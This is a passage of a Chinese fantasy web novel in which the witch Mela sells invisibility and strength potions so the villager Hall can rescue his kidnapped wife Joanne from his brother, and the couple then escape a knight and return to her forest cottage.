梅拉走到靠墙的橱柜前, 伸手,拿下一个圆形的玻璃瓶,随着她的动作,碧绿色的液体在瓶子里泛起一阵轻微的涟漪。 “只要喝下半瓶药水, 在接下来的三个小时内, 不管是谁都没有办法看见你。这样你就能偷偷地找到乔安妮,让她喝掉剩下的半瓶药水后跟着你一起离开了。” “这是一瓶大力药剂。” 梅拉再度转身, 拿出一个菱形的玻璃瓶, 里头盛着深蓝色的液体, 在煤油灯的灯光下, 折射出了诡异的绮丽光彩。 “以你常年干活锻炼出来的力量, 喝下它之后,我敢保证,你甚至能直接赤手空拳打死一头熊。” “到时候别说是光明正大地把乔安妮抢回来了, 还能把你那个黑心的兄弟狠狠地揍一顿解气, 如何?” “这……”霍尔有些犹豫,一时半会儿他还真选不出买哪一瓶更好。 隐形药剂当然很不错,可以避免与霍华德直接发生冲突,悄无声息地救走乔安妮。 可霍尔私心里对霍华德不是没有怨气的,任谁突然闯进自己家,还把自己的妻子掳走了,也不可能没有半点脾气。 就算是亲兄弟也不行。 不如说, 正因为是亲兄弟, 才让一贯好脾气的霍尔更加怒不可遏。 见状,莱克斯开口了,“我想,这两种药剂并不适合眼下的情况。” 梅拉挑眉, 示意莱克斯解释一下原因。 “如果不能把罪魁祸首彻底解决了,就算你暂时把乔安妮救了出来,难保她不会再被掳走第二次。”莱克斯看向霍尔。 而霍尔就算把霍华德狠狠地揍一顿,暂时让他求饶,放过乔安妮又如何,说不定霍华德还会因此怀恨在心,下一次干脆连霍尔都不放过。 霍尔的亲兄弟,他应该最清楚那是个什么德行的人才对。 “莱克斯说的没错,霍华德还真有可能这么干。” 霍尔回想起那些年,霍华德仗着自己是大哥,欺负了他不知道多少次。一旦他有什么东西被霍华德看上了,霍华德就算抢不过来,也要费尽心思把东西弄坏。 而霍尔尽管委屈,也拿霍华德没办法,谁让根据王国的继承法,霍华德才是这个家里将来的继承人呢,而霍尔作为小儿子,只能分到父母的一部分财产,之后还得带着这点财产出去另立门户。 对于未来要接手家里的房子与土地的大儿子,霍尔与霍华德的父母难免从心底就偏向霍华德。 而在父母的纵容下,霍华德渐渐从一个小坏胚长成了一个大坏胚。 要不是霍华德后来娶了一个商人的女儿,搬到了镇上去住,几乎和霍尔断联,说不定这些年要闹出多少风波。 想到这,霍尔越发担心起了乔安妮的处境。 “如果是这样的话,我这里还有一瓶昏迷药剂。你把它给霍华德全灌下去,保管他这辈子都醒不过来。” 梅拉一阵翻翻找找,找出了指节长的一小瓶粉色药剂。 别看这一小瓶药剂的分量还不够前头那两瓶的五分之一,但药效可比那两瓶猛多了。 “……有没有既能教训到霍华德,让他不敢再对乔安妮动手,又不至于让他受到如此严重伤害的药剂?” 沉默片刻,霍尔艰难地道。 他虽然对霍华德的做法十分愤怒,恨不得鼻青脸肿地把他揍一顿,但真让他看着霍华德喝下药剂后一辈子都醒不过来,他又难免于心不忍,这和直接杀了霍华德有什么区别。 不管那是不是他的亲兄弟,哪怕今天对乔安妮动手的是一个陌生人,霍尔也没办法狠得下心来。 梅拉听了霍尔的话,像是一点也不意外,唉,她早就知道霍尔是个心软又善良的老好人了。 而好人和坏人的区别就在于,让好人做一件坏事,比要他的命还难,还没动手呢,潮水般涌来的愧疚就先把他给压垮了。 “不过,你说的这种药剂我没有,女巫做出来的东西,哪有全然无害的呢?从我手中拿出来的药剂,危险程度只有轻微、严重、和极度严重。”梅拉托着腮,意兴阑珊地道。 即使是前面梅拉提到的那两种药剂,也是存在一点小小的副作用的。 比如喝了隐形药剂之后,接下来的一周内,霍尔在其他人眼中的存在感就会降低,有可能他当面走过去,都能直接被忽视。 再比如霍尔喝了大力药剂之后,等到药效一过,他就会全身都提不起劲,只能像根软面条一样瘫在床上,直到副作用自己消失。 “这么严重?”霍尔瞪大了眼睛。 “我又不是神明,能毫无代价就实现一场奇迹。想要发挥出这些神奇的药效,当然需要付出一点代价啰。”梅拉振振有词地答到。 这难道不是很公平吗?毕竟世界上哪有什么不劳而获的好事呢? “那、那你给我的那些变形药剂的副作用是什么?”霍尔问道,语气十分急切。 他当初只顾着向梅拉买下药剂,压根没想到还有副作用这回事。 更何况,他亲眼看着乔安妮喝了这么多年的变形药剂,似乎,没出现什么问题啊? 梅拉歪了歪头,眼里浮动着波光粼粼的笑意,“这个你放心,变形药剂的副作用非常小,只不过是看着镜子里的那张陌生的脸越来越久,便再也无法记起自己真正的模样而已。” 不过既然都已经用上了变形药剂,还一连喝了这么久,大概本人也并不希望变回原来的样子了吧? “原来是这样。还好,还好。”霍尔长长的舒了一口气,显然也觉得这个副作用还在能接受的范围内。 “不过你确定还有时间和我继续纠结这个吗?现在距离太阳升起来可没剩多久了,等天一亮,说不定你的亲大哥就会带着乔安妮前去觐见领主。到时候你再想把她救出来,可就要多费不少功夫了。” 梅拉把话题引回正轨,催促霍尔赶紧做决定。 这时,莱克斯又开口了,他劝霍尔既然不愿意买昏迷药剂,倒不如把隐形药剂和大力药剂都买了,然后先去和霍华德见面,尝试从他的嘴里套话,看看他是为什么突然想要靠乔安妮从领主手里领到赏金。 毕竟按照霍尔之前说的,霍华德娶了一个商人的女儿,还搬到了镇上,那他的生活应该过得很不错才对。 如非经济上出现了什么严重的问题,他有什么必要忽然回村子里找霍尔这个断联许久的弟弟呢? 而买下大力药剂和隐形药剂,也是为了以防万一,若是霍尔和霍华德谈到一半谈崩了,喝下药剂的霍尔还能保证把人打晕,再悄悄带着乔安妮逃回小木屋找梅拉。 霍尔一听,觉得莱克斯说的很对,同梅拉立下欠条,揣着两瓶药剂就匆匆离开了。 他要赶在天亮之前到镇上拦住霍华德才行。 等霍尔走后,本应该睡觉,却熬夜到现在的梅拉随着上涌的困意,懒洋洋地打了个哈欠,眼角甚至滑出了一点湿意。 她看向一旁低着头,不知道在想些什么的莱克斯,“我总觉得你刚才对霍尔说的那番话别有目的。” 看起来莱克斯是在为霍尔出谋划策,可话又说回来,他和霍尔的交情也就比陌生人强那么一点点,哪里值得他如此贴心,连后路都给霍尔想好了。 “至少有一点,是为了把两瓶药剂推销出去,这样算起来,我头上的债务是不是能少一点了?” 莱克斯抬眸,唇角微勾,没有否认梅拉指控他别有目的,但具体是为了什么,他却又守口如瓶起来。 反正梅拉也不是真心想知道他的目的。 但是对于莱克斯说的用推销药剂作为抵消债务的方式,梅拉给予了肯定,“那就两瓶药剂各拿出十分之一,算你还了我六枚银币好了。” 她刚才一下子还真没转过弯来,只想着让霍尔二选一,没想到还能让他干脆把两瓶药剂都买下来。 一定是没睡好觉才导致她精神不振。 梅拉忍不住又打了个哈欠。 “对了,如果每一种药剂都有其相对应发副作用的话,那治愈药剂呢?”莱克斯忽然发问。 “唔,”此时梅拉已经躺回了摇椅上,把毯子卷吧卷吧盖好了,听到莱克斯的问题,她含糊不清地答到,“只要不是长期服用,其实也没什么太大的副作用,毕竟这是拿来救命的药剂。只不过谁如果喝多了的话,大概会提前透支剩下的生命力,早早地衰老而死吧。” “就像一朵花,早早地盛开了,当然也会早早地凋零。” 说完,不等莱克斯再问点别的,梅拉便彻底闭上眼睛,睡了过去。 只不过睡梦中,梅拉模模糊糊还升起了一个念头,那就是期待明天霍尔带着乔安妮来到小木屋,再好好说说他见到霍华德之后的事。 总觉得能让莱克斯这么上心的事,里头一定有许多值得挖掘的秘密。 第26章 第 26 章 [小情侣互动] 一整天下来, 梅拉都因为记挂着霍尔的事而显得有些心不在焉,连好端端地走着路,都差点自己把自己给绊了个跟头。 好在当时莱克斯就在身边,眼疾手快地伸手拽住了她的胳膊, 扶了她一把。 “没事吧?”莱克斯关切地问。 “没事。”梅拉好不容易重新站定。 下一秒, 她却像是终于意识到了什么,忽然右手握拳, 敲在了左手的掌心上, “不对, 我得为霍尔占卜一下, 看看他到底能不能成功救出乔安妮。” “按理来说, 既然他已经拿着你的药剂走了,总不至于对付不了霍华德一个普通人吧。”莱克斯觉得不应该。 就算实在出现了别的意外,譬如霍华德还纠结了其他的帮手, 人多势众, 霍尔双拳难敌四手,但只要他喝下了隐形药剂,想要轻松带走乔安妮应该也不难。 “你不懂,我今天这么不顺利,一定是某种预兆正在提醒我呢。”梅拉神秘兮兮地道,“女巫在感应这方面可是很灵敏的。” 想当初差点在白松镇出事前,梅拉就频频经历类似的事情, 不是不小心撞倒了什么瓶瓶罐罐, 就是失神间打碎了碗碟。 连塞拉斯看了都难得硬气一回,吩咐梅拉小心些,多看着点路,别一会儿没注意又乒乒乓乓的闹出大动静来。 等到离开白松镇, 在黑暗森林住下来,梅拉才后知后觉地意识到,原来先前那些看似是她不小心才造成的失误,其实是在不断提醒她:小心!有不好的事情要发生了! 当然了,也不是每个女巫的感知都这么强,至少某些学艺不精的小女巫是没法做到像梅拉这样的。 说到底,还是梅拉天赋异禀。 梅拉踮起脚,从橱柜的最上层摸到了她的水晶球。 只不过将水晶球拿下来的时候,差点连木头制成的底座也被她一起带了下来。吓得梅拉头一偏,赶紧躲开了。 这玩意儿要是结结实实地砸到脸上,疼不说,百分百会留下一道难看的红印。 原本对梅拉的说辞将信将疑的莱克斯:“……” 这下他是彻底相信梅拉说的预兆有点道理了。 因为他从没见梅拉这么倒霉过。 “幸好,看来那个倒霉蛋是霍尔无疑,我只不过是被他牵连的。”见状,梅拉原本还吊着的一颗心反倒放松了下来。 如果她也要跟着倒大霉,这块木头底座绝不可能如此轻易的就被她躲过去,即使砸不到脸上,少说也要砸到脚上,让她打起精神注意未来。 “不过么,从这个倒霉程度来看,霍尔就算成功带走了乔安妮,他们逃出来的路上大概也要碰到不少的挫折。”梅拉若有所思地道。 “等一下,我的水晶球上怎么沾了这么多的灰?” 梅拉忽然发觉手上的触感不对劲,低头一看,没想到水晶球上竟然裹了不算薄的一层灰。 本来水晶球在没有触发作用的时候,看起来便是一颗平平无奇的玻璃球,里头还缠绕着脏兮兮的灰絮,以至于上头掉了层灰都并不显眼。 但是现在发现自己摸了一手的灰后,梅拉不由皱着眉头一脸嫌弃。 “莱克斯,你最近是不是忘了点什么?” 看在相处了这几年的份上,梅拉的质问都变得委婉了起来。 换做以前,她只会直接怀疑是莱克斯偷懒了。 虽然梅拉承认,她是有很长一段时间没有用过水晶球了,但每隔一段时间,莱克斯就会拿毛巾将她的水晶球擦拭一遍,怎么看也不应该落这么厚一层灰才对。 然而,梅拉又看了眼手上的灰黑,估计起码有两个月,莱克斯忘记给她擦水晶球了。 不曾想莱克斯的眼神分外无辜,“应该是塞拉斯最近太忙了,不小心把擦水晶球的活给忘了吧?它几个月前还同我说,它飞上去擦水晶球更方便,省得我拿上拿下的,万一将水晶球摔了怎么办。我觉得它说的对,就把这项活计交给它来做了。” “忙?它在忙什么?” 梅拉这才意识到,最近这阵子耳边清净了不少,她还以为是塞拉斯终于学会了消停,没想到原来另有隐情。 “唔,好像是之前塞拉斯出门玩,偶遇了一位年轻漂亮的白鸽小姐……”莱克斯捏着下巴回忆道。 原来是塞拉斯碰到让它一见钟情的小鸟了呀,梅拉不知为何,突然萌发了一种养了那么久的孩子总算会拱白菜回来了的诡异欣慰感。 “但是,乌鸦和白鸽,能有结果吗?”梅拉陷入了短暂的迟疑之中。 不管怎么说,至少从种族上,乌鸦和白鸽就不太相配吧? “嗯……”莱克斯同样开始沉思。 按照他的观点,乌鸦和白鸽之间当然是不可能有结果的,但塞拉斯可不是一只普通的乌鸦,而是一只会口吐人言的乌鸦。 从这一点上看,它无疑属于乌鸦一族的智者了。 也正因如此,塞拉斯才会突破寻常乌鸦的眼光,看上一只年轻貌美的白鸽吧。 “算了,等塞拉斯回来,我再好好地问问它吧。” 梅拉看了眼空荡荡的栖杆,决定到。 刚才让塞拉斯的事情打了个岔,现在梅拉把注意力重新拉回来,她拿来干净的毛巾,将水晶球上的灰擦拭干净,然后用手在上面轻轻一抹: 水晶球内的灰絮顿时在她眼前变化成一阵迷幻的烟雾。 “霍尔·威哈特能成功救出她的妻子乔安妮吗?”梅拉对水晶球提出了第一个问题。 水晶球内的烟雾开始改变,作出问题的解答。 “嗯?可以?但是有很大的危险。” 这和梅拉之前猜测的结果差不多。 “那霍尔·威哈特会在带着乔安妮逃跑的路上失败吗?” 梅拉对水晶球提出了第二个问题,这回她缩小了范围。 水晶球中很快又有了新的变化。 “有很大的几率会失败,也有很小的几率能成功,意思是全凭运气咯?” 梅拉盯着水晶球,了然。 这也就意味着,若是霍尔的运气足够好,完全靠自己可以摆脱困局。 但是霍尔的运气似乎一向是不好也不坏。 这让梅拉一时间有些犹豫,到底要不要出手帮忙,她自觉已经帮得够多了。 别看梅拉曾经对莱克斯说起改变命运时,那叫一个满不在乎,好像只要她伸手轻轻一拨弄,就能让莱克斯的命运走向另一个方向,但真要说起来,能够改变命运,其实是莱克斯本人的决心更重要。 因为莱克斯不相信命运,决心靠自己改变命运,才引动了他的那颗星辰,偏移了既定的轨道。 否则像梅拉这样作为一个旁观者,去插手霍尔的命运,得要付出额外的代价才行。 “好吧,第三个问题,如果霍尔不幸被抓住了,会不会对我产生糟糕的影响?”梅拉对着水晶球问道。 水晶球给出的回答分外肯定,即一旦霍尔被抓,梅拉一定会受到牵连,卷入到一场麻烦之中。 “看来我是非得掺和进来不可了。” 确定了要帮忙,梅拉反倒松了口气。 “你打算怎么帮?”莱克斯旁观完全程,有些好奇。 难道梅拉打算离开黑暗森林,亲自出马? “当然——”梅拉笑眯眯的,故意拖长了尾调,“不是啦。” 虽然说插手别人的命运一定要付出代价,但这个代价是大是小,完全可以由梅拉自己决定。 譬如她如果离开黑暗森林,亲自去给霍尔帮忙,那必然要付出极大的代价,极有可能路上遇到发狂的野兽,或是引来了牧师、领主手下的骑士这类本不该出现的人。 但梅拉若是换一种方法,假如只是在天平上,属于霍尔的这一侧放上一枚分量极轻的砝码,帮助天平向霍尔这端倾斜,那代价便很小了。 大概是吃苹果时吃到一条虫子这样的代价。 ……虽然也有点恶心就是了。 不过没关系,既然决定了要帮忙,梅拉也不是不能忍受这点小小的恶心。 说起来,还多亏了几年前,梅拉曾收集到了不少克丽芙的果实,最终在一次次的实验下,她成功炼制出了指甲盖大小的一小瓶幸运药剂。 幸运药剂,顾名思义,即喝了能让人变得幸运的药水。 虽然幸运向来虚无缥缈,但一点点的幸运,往往就能发挥出巨大的效果。 “既然霍尔逃跑失败是导致我卷入麻烦的起点,那么只要让他别失败不就好了。” 梅拉拔开木塞,一股脑地喝尽了拇指瓶里【踏雪独家】的深粉色药水。 在梅拉变得幸运的前提下,同样也能影响到霍尔的运气,说不定就能帮他逃过一劫。 “不过这药水可真难喝。”梅拉咂了咂嘴,点评道。 概因以往梅拉的药剂都是出售给别人,从来不曾考虑过好不好喝这一问题,等现在她自己尝了才发现,这味道简直一言难尽。 既不是全然的苦涩,也不是满满的酸楚,其中还掺杂了那么一星半点的辛辣,复杂得梅拉根本不想回味。 ——她现在只想喝杯花草茶压压嘴里的药水味。 “莱克斯,快,给我倒杯花草茶来,记得加满满两大勺的蜂蜜。” “来了。”莱克斯早在梅拉拿出那瓶珍藏了好几年的幸运药剂时,就隐隐有了某种预感,只不过他还没来得及行动,梅拉就闭着眼把药水喝完了。 好在现在他端来茶杯的时机也不算迟。 梅拉接过茶杯,一口气喝了大半杯甜滋滋的茶水,才终于产生了一种类似于劫后余生的庆幸。 “……下次你一定要记得提醒我,在炼制药剂的时候考虑一下口味问题,我会尽量做出好喝的药剂的。” 梅拉放下茶杯,郑重地道。 第27章 第 27 章 [霍尔剧情居多] “呼。” “呼。” 风裹着粗重的呼吸, 吹过枝叶,流向远方。 漆黑的夜色中,两道身影互相搀扶着,跌跌撞撞地往前跑去。 坐落在森林深处的小木屋此刻仍然往外透着昏黄的光, 屋子里, 两人一鸟都十分罕见地醒着。 因此甫一听见敲门声,离门最近的莱克斯迅速反应过来, 去开了门。 男人形容狼狈, 脸上不仅沾着泥、碎叶, 甚至还有细细的黑色小刺, 像是来之前在地上滚了一圈, 又不幸扎入了灌木丛中。 幸亏他忍耐力十足,竟然能顶着这样一张脸一路走来。 相比之下,被他扶着胳膊的女人虽然面色苍白, 神情凄然, 却只是鬓边散下了稀稀拉拉的几缕碎发。 见到门后站着的陌生少年,她忙不迭把碎发往耳后拨,尽力端肃表情,仿佛此刻不是随着丈夫仓皇地上门求救,而仅仅是普通的登门拜访。 霍尔的这位妻子,似乎对仪容格外重视。莱克斯若有所思地将这一幕收入眼底。 “进来吧。”莱克斯侧身,给两人让出一条通道。 霍尔向莱克斯投去感激的一眼, 便扶着乔安妮进入了小木屋之中。 梅拉原本正靠在书桌边, 拿着一根狗尾巴草逗弄塞拉斯。 塞拉斯因为心虚的缘故,爪子抓着栖杆,也不敢躲,只能硬着头皮忍受那毛茸茸的触感一下又一下地挠在自己的喙下。 好在随着霍尔两人进来, 梅拉的注意力从它的身上移开,手上的动作也跟着停了下来。 塞拉斯高兴地松了口气,鬼鬼祟祟地把自己往角落里挪。 梅拉没有管它。 她的视线在扫到霍尔那张堪称惨不忍睹的脸时,露出了十分诧异的神色。 如果她不是非常肯定自己炼制的药剂一定不会出错的话,此刻必定要怀疑之前喝下的那瓶幸运药剂到底有没有生效了。 否则怎么会这么惨? 假如这已经是幸运药剂生效后的结果了的话,梅拉忍不住目露同情,那霍尔原本该有多倒霉啊。 让梅拉这么一瞧,霍尔有些不自在起来,下意识想用闲着的那只手去挠脸,结果没防备碰到脸上散落的那些小刺,顿时疼得龇牙咧嘴了好一阵。 “你小心点呀。”乔安妮注意到霍尔的动作,眼底随即涌上心疼。一时间想上手帮他把刺拔了,又担心刺太小,自己容易弄巧成拙。 要是不小心让刺折断在里面,那可就麻烦了。 如果手上有根缝衣针就好了。乔安妮想,这样她就能替霍尔把脸上的刺都挑出来了。 “需要借你们一根缝衣针吗?” 梅拉像是有读心术似的,替乔安妮说出了心中的想法。 “……如果可以的话……”乔安妮踌躇着开口。 这些年霍尔一直与女巫做着交易,按理来说乔安妮应该对梅拉有所了解,不应该像其他人一样害怕她才对,但,这还是乔安妮头一回与梅拉见面。 当年轻貌美的女巫笑吟吟地看着她时,乔安妮下意识心生怯意,就像看着一朵玫瑰,动人的风景下暗藏着刺人的危险。 乔安妮不知道自己该不该伸手,接过女巫的赠予。 “当然没问题。莱克斯———”梅拉拖长了尾调,“帮他们把缝衣针给找出来。” 莱克斯径直走向门边的矮柜,俯身,拉开其中一个抽屉,拿了根闪闪发光的缝衣针出来。 “谢谢。”乔安妮喏喏地和莱克斯道了声谢。 随后她借着头顶的灯光,小心翼翼地捧着霍尔的脸,找准位置,浅浅刺入缝衣针,将那些黑色的细刺一根一根地挑了出来。 “说起来,你们到底是怎么弄成这个样子的?”梅拉好奇地问道。 “我们……” 听到梅拉的问题,霍尔想也不想便张嘴打算回答,只不过刚吐出一个音节,立刻收到了乔安妮瞪过来的眼神,他只好赶紧又把嘴巴闭上,示意自己不说了。 “还是让我来说吧,”乔安妮抿了抿唇,接过话头,“霍尔是为了救我才变成这样的。” 乔安妮本想长话短说,但梅拉制止了她:“别,我有的是时间可以用来听故事,你慢慢说就行。” 好吧,既然是梅拉主动要求的,乔安妮便原原本本地把事情的经过讲了一遍。 整件事说起来,还得回到乔安妮被霍华德带走之前。 昨天,霍尔像往常一样,趁着天色还没完全亮起来,便推着木板车离开了村子,一路上谁也没有惊动。 乔安妮则待在家里,先是去把栅栏打开,让养了好几年的几只大白鹅自己出去觅食。 随后她拿来纺锤,坐在椅子上,将提前处理好的荨麻不断捻成丝线,为接下来的纺织做准备。 一个上午的时间悄然过去。 正当乔安妮感到腰部发酸,忍不住站起来绕着屋子走一走的时候,霍华德忽然从门外闯了进来。 说闯其实也不算对,因为霍华德是大摇大摆地从门外走进来的。 “好久不见,乔安妮。”霍华德假惺惺地同乔安妮问好。 那双与霍尔如出一辙的褐色眼珠滴溜溜地不停打转,只不过越看越是嫌弃。 无他,在见惯了好东西的霍华德眼里,这个家实在太穷了。 既没有柔软的地毯,也没有色彩华丽的挂画,家具更是少得可怜,一台手纺车就占据了大半个角落。 霍华德嫌弃的嘴脸落入乔安妮眼里,本就不欢迎霍华德上门的乔安妮直接抿紧了唇,冷冷地道,“是好久不见了,上回见你还是在葬礼上。” 那是霍尔父母的葬礼。 尽管霍华德已经有八九年没回来见过他的父母兄弟了,而霍尔与霍华德本身的感情也算不上深,但父母的葬礼这种大事,霍尔总不好不通知他。 于是跟乔安妮商量过后,霍尔还是托人捎了个口信到镇上,通知了霍华德举办葬礼的时间和地点。 然而一直到葬礼开始前,霍华德才匆匆赶了回来。 好不容易,等霍尔请来的牧师做完仪式,棺材下葬后,霍华德迫不及待地开口了。 他说,要求霍尔将父母留下的财产与他平分。 “平分遗产?” 前来参加葬礼的亲戚与村民们听到霍华德的话,忍不住小声地议论起来。 感受到那么多人的打量,霍华德浑然没有流露出窘迫的模样,反而昂着下巴,捋着唇边刻意留出的一道小胡子,态度十分的理直气壮。 “按照王国的继承法,我本来就应该拿走三分之二的遗产,如今只分走一半,已经够对得起你这个弟弟了。更何况,我还没要求你把土地的那份钱也算上呢?你就知足吧,霍尔。” 霍华德对霍尔道,仿佛是在施舍。 而霍尔黑着脸,大声地驳斥他,“当初明明是你看不起家里的这点钱,也不愿意和父亲一样继续当个老老实实的农民,娶了一名商人的女儿后就跟着人搬到了镇子上,再也没有回来。父亲没办法,才把土地留给了我来种。” 结果现在霍华德却说,这些东西本来就是属于他的?霍尔必须得为自己继承了父母的钱和土地向他支付代价,简直可笑至极! 乔安妮站在霍尔的身旁,同样为自己的丈夫愤愤不平,但她只能捏紧了粗糙的麻布裙摆,一言不发。 因为霍华德没有说错,这就是王国明文规定的法律。 哪怕霍华德这些年的行径让人不耻,但他作为长子,天然在继承权这一方面拥有着霍尔所没有的优势。 如果霍尔不同意平分遗产,霍华德是能把他告到领主面前的。 而还没有离开的牧师,就是霍华德最好的证人。 想到这,不少亲戚围上来,劝说霍尔答应霍华德的条件,起码这样他还能留下一半,否则真按照继承法来算,他最后就只能拿到三分之一而已了。 没办法,霍尔不得不点头同意了这件事。 乔安妮永远记得那天霍华德带着一大笔钱扬长而去的背影,以及他洋洋得意的眼神。 好在霍华德拿了钱后,大概是觉得这个弟弟没有其它值得他觊觎的地方了,之后再也没有来找过霍尔。 现在,多年未见的霍华德却突然冒出来,说要找霍尔谈点事情,乔安妮心下不由得升起浓浓的警惕。 面对霍华德的追问,乔安妮一直与他兜圈子,就是不肯告诉他霍尔到底去了哪,什么时候能够回来。 “好吧,好吧,说了这么久的话我也渴了,你快去给我弄碗水喝。” 霍华德对着乔安妮颐指气使地道,仿佛是在对待家里的女仆。 乔安妮面色一沉,很想举起木棍把人给赶出去,最后却还是忍着心底的火苗,端着陶碗去给霍华德舀了一大碗水。 只要她继续周旋下去,说不定霍华德觉得不耐烦了,自己就会离开。 等霍华德走了,她再把这事告诉回来的霍尔,想办法打探一下他突然上门的目的。乔安妮在心中做好了决定。 就在这时候,乔安妮突然感觉身后不对劲,打算回头一看究竟,却没来得及。 后脖子上一阵钝痛袭来,乔安妮受不住,直接晕了过去。 晕倒前,她凭着一股毅力转头,看清了站在她身后举着木棍的人是霍华德无疑。 ——早知道就不该让他进门。 乔安妮的脑海中闪过最后一个念头。 * 等乔安妮从黑暗中醒来,发现自己竟然被关在一个狭小的房间里,周围堆满了各种各样的杂物,她的手和脚踝则被绳子绑着,断绝了逃跑的机会。 一定是霍华德干的。乔安妮笃定地想。 只不过她不明白,霍华德这么做的原因是什么。 她只是个平平无奇的女人,自从发生那场意外之后,她唯一能依靠的人只剩下了霍尔。 难道霍华德是打算拿她来威胁霍尔? 乔安妮心下一凛,却无可奈何,毕竟她人都被绑在这,就算猜到了霍华德的目的也无法及时告知霍尔。 不仅如此,霍华德十分狠心,把乔安妮带回来后就不管了,连水和食物都不肯给。 乔安妮今天只吃了一顿早饭,无穷无尽的饥肠辘辘折磨着她,她很快就饿得再度晕了过去。 再后来,乔安妮是被硬生生颠醒的。 她睁着眼睛,看着不断移动的地面,却看不见手搭在自己腰上,扛着自己走的人是谁,仿佛她正以一种诡异的姿势漂浮在半空中。 “霍尔,是你吗?” 哪怕明知道除了霍尔之外,压根不会有其他人会来救自己,乔安妮还是忍不住问出了声。 “是我。”空气中传来霍尔的声音。 一如既往的厚重沉闷,像锤子擂在土墙上,却让乔安妮感到了无比的安心。 “你怎么变成这个样子了?我看不见你了。”乔安妮道。 “这是我从梅拉小姐那买来的隐形药剂,喝了它后,就谁都看不见我了。本来我还给你留了半瓶,打算让你喝了后跟我一起逃走,只不过看你晕倒了,我就把剩下那半瓶药水收了起来。”霍尔解释道。 霍尔不舍得把药水灌给昏倒的乔安妮。 干脆改变计划,仗着霍华德看不见自己,直接把他给打晕了。 “晕了?那就好。”乔安妮彻底放心了,她可不会同情一个伤害自己的人。 让霍尔扛着自己继续走了会儿,乔安妮又道,“你累吗?不然还是把我放下来,让我自己走吧。” “放心,我还另外买了一瓶大力药剂,扛着你一路跑回去都没问题。”霍尔拍了拍胸膛,朝乔安妮保证到。 只不过,他很快意识到,这会儿乔安妮根本看不见他的动作。 “呀,我可真是个笨蛋,都忘了等药效过了你才能看见我。”霍尔懊恼不已。 乔安妮的唇角漾出笑意,安慰了霍尔几句。 “听起来,你们其实还挺顺利的?”梅拉忽然插入进来,打断了乔安妮的叙述。 此时乔安妮不仅把霍尔脸上的小刺全部清理了出来,还帮他把不小心沾上的草叶一一摘干净了。 因此这会儿霍尔总算能说话了,他朝梅拉露出一个苦笑,“可是意外很快就发生了。” 第28章 第 28 章 [霍尔剧情居多] “意外?”梅拉微微挑眉, 一幅感兴趣的模样。 “对,我们根本没想到,霍华德竟然和领主手下的一名骑士勾搭上了。”霍尔咬牙切齿地道,表情有些沉重。 如果仅仅只是和霍华德闹翻, 大不了霍尔关上门拒绝与他来往, 再找办法让他没法对乔安妮下手就是了。 但,霍尔怎么也没想到, 他才带着乔安妮逃走没多久, 身后就传来了一阵急促的马蹄声。 出于姿势的便利, 乔安妮率先看到了高大马匹上坐着的骑士, 他没有穿全套的盔甲, 只有一件胸甲在月光下泛着冰冷的光。 两条又短又粗的眉毛夹着石灰色的一双眼向下压,看着就一幅不好惹的样子。 事实上,也确实如此。 他与乔安妮对上视线后, 眼中毫不掩饰地放出光来, “找到你们了!” 接着他的双腿一夹马肚,催促着身下的马匹加快速度,急吼吼地冲着乔安妮与霍尔而来。 乔安妮甚至看到他抽出了腰间的剑! 茫茫夜色中,那一点银色的剑尖带着迫人的锐利,绝不容她忽视。 霍尔虽然来不及转身看清身后的情况,但他同样听到了那句充满威胁的话语,急得脚下加快速度, 直接跑了起来。 可人的两条腿又怎么可能跑得过马的四条腿呢? 几乎是几次呼吸的功夫, 骑士手中那柄寒光凛冽的长剑便差点刺到了霍尔的背上。 本来霍尔现在在其他人眼中就是一团空气,不应该被看见才对,偏偏他的肩上扛着乔安妮,简直跟带了个活靶子没有区别。 还是乔安妮眼看着剑刺来, 急得喊了一声“转过去!”,才让霍尔及时躲了过去。 与此同时,乔安妮的头发却被削断了一小节。 这么近的距离,失手了倒也无所谓,那名骑士看着霍尔与乔安妮,仿佛在看砧板上的鱼肉,带着居高临下的意味,紧接着毫不犹豫地刺出了第二剑。 他倒也没打算直接把人杀死,只是想让霍尔受伤,不得不停下来而已。 只不过因为看不清的缘故,那狭长的剑身眼看着就要往霍尔的心脏扎入。 幸好! 幸运再一次降临在了霍尔的身上。 他没防备,脚下一滑,竟然带着乔安妮沿着斜坡滚了下去,也恰好躲过了那致命的一剑。 然而这个斜坡很高,也很陡,霍尔只来得及调整一下姿势,用自己的身体尽量护住了乔安妮。 期间不乏有长着倒刺的木条扎在霍尔的手上、脸上,但乔安妮却在霍尔的保护下毫发无损,仅仅只是乱了头发。 好在两人这一滚,直接咕噜噜地一下子滚离了骑士的视野范围内,而灌木丛又很好地挡住了马匹前进的脚步。 遥遥听见上方传来一声恶狠狠的咒骂与马儿的嘶鸣声,霍尔却顾不得身上的疼痛,赶紧掏出之前收在怀里的半瓶隐形药剂,让乔安妮喝了下去。 药水生效的速度非常快,差不多是在乔安妮刚喝完最后一滴药水,便冷不丁地看见了霍尔那双含着期待的褐色眼珠。 成了!霍尔心下一喜,能看到隐身状态下的对方,说明乔安妮现在也和他一样了。 “快走。”乔安妮比霍尔率先回神,拽着他的手臂跌跌撞撞地往前跑去。 他们要赶在被追上之前,抓紧时间离开这里。 乔安妮原本的打算是回村子里,就算是要逃跑,也得收拾好东西再跑。 可还没跑到一半,霍尔发现这是回村子的方向后,立刻拉住了乔安妮,带着她转了个弯,踏上了另一条路,一门心思的往梅拉的小木屋奔去。 霍尔平时虽然算不上聪明,但碰上这种时候却意外地机敏,直觉告诉他,这时候回家未必安全,不如去小木屋寻求梅拉的庇护。再不济,听听莱克斯的建议也好啊。 他就是先前听了莱克斯的建议,才成功救出了乔安妮。 “你做的很对。” 对于霍尔的选择,莱克斯并不吝于给出自己的肯定。 他替霍尔分析道,“首先,从那名骑士如此快就追上了你们,不难判断出他应该是在你们离开后不久,就来到了霍华德的住处。” 换句话说,他在见到了晕倒的霍华德后,立刻意识到事情不对,骑着马,循着脚印就来追霍尔和乔安妮了。 这可不算一个好消息,因为这意味着绑架乔安妮带去向领主讨赏这事,那名骑士绝对有参与其中。 否则他的第一反应应该是先找医士来把人救醒才对。 “说不定,这本来就是他给霍华德提出的主意呢。”莱克斯有理有据地补充道。 否则以霍华德的身份,就算带着乔安妮前往庄园,又凭什么能见到领主。 大概他还没来得及接近领主的庄园,就会被巡逻的守卫抓起来丢进地牢里,等待管家的处置。 但若是有了那名骑士的带领,霍华德便能在庄园中畅通无阻。 “其次,假设事实与我猜测的差不多的话,那名骑士一定对乔安妮志在必得,即他一定要带着乔安妮去往领主面前。” 至于他为什么要这么做,想必和领主的态度脱不了干系。 